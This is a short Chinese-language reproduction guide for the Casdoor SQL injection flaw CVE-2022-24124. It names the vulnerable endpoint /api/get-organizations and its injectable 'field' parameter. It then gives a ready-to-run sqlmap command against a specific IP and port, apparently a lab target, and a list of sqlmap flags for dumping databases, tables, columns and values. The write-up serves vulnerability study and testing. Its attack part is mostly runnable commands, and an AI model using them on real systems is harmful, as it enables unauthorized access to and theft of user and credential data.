casdoor SQL注入（CVE-2022-24124）

一、漏洞概述

Casdoor 是一个基于 OAuth 2.0 / OIDC 的 UI 优先集中认证 / 单点登录 (SSO) 平台，简单点说，就是 Casdoor 可以帮你解决 用户管理 的难题，你无需开发用户登录注册等与用户鉴权相关的一系列功能，只需几个步骤，简单配置，与你的主应用配合，便可完全托管你的用户模块，简单省心，功能强大。Casdoor 1.13.1 之前的查询API 存在与字段和值参数相关的SQL 注入漏洞，如api/get-organizations 所示。

二、影响范围

Casdoor 1.13.1 之前版本

三、访问页面

四、漏洞复现

1、访问接口

/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=1

2、使用sqlmap跑注入点

sqlmap.py -u "http://123.58.224.8:60317/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=1" --delay=0 --timeout=30 --retries=0 --level=3 --risk=1 --threads=1 --time-sec=5 --technique=BEUSTQ -b --batch --answers="crack=N,dict=N,continue=Y,quit=N"

3、发现field可注入

sqlmap常用命令：
1、--dbs 获取数据库
2、--tables 获取数据库中所有的表 
3、--columns 参数用来获取字段
4、--dump 获取值

-D '数据库名' -T '表名' -C '字段名1,字段名2' --dump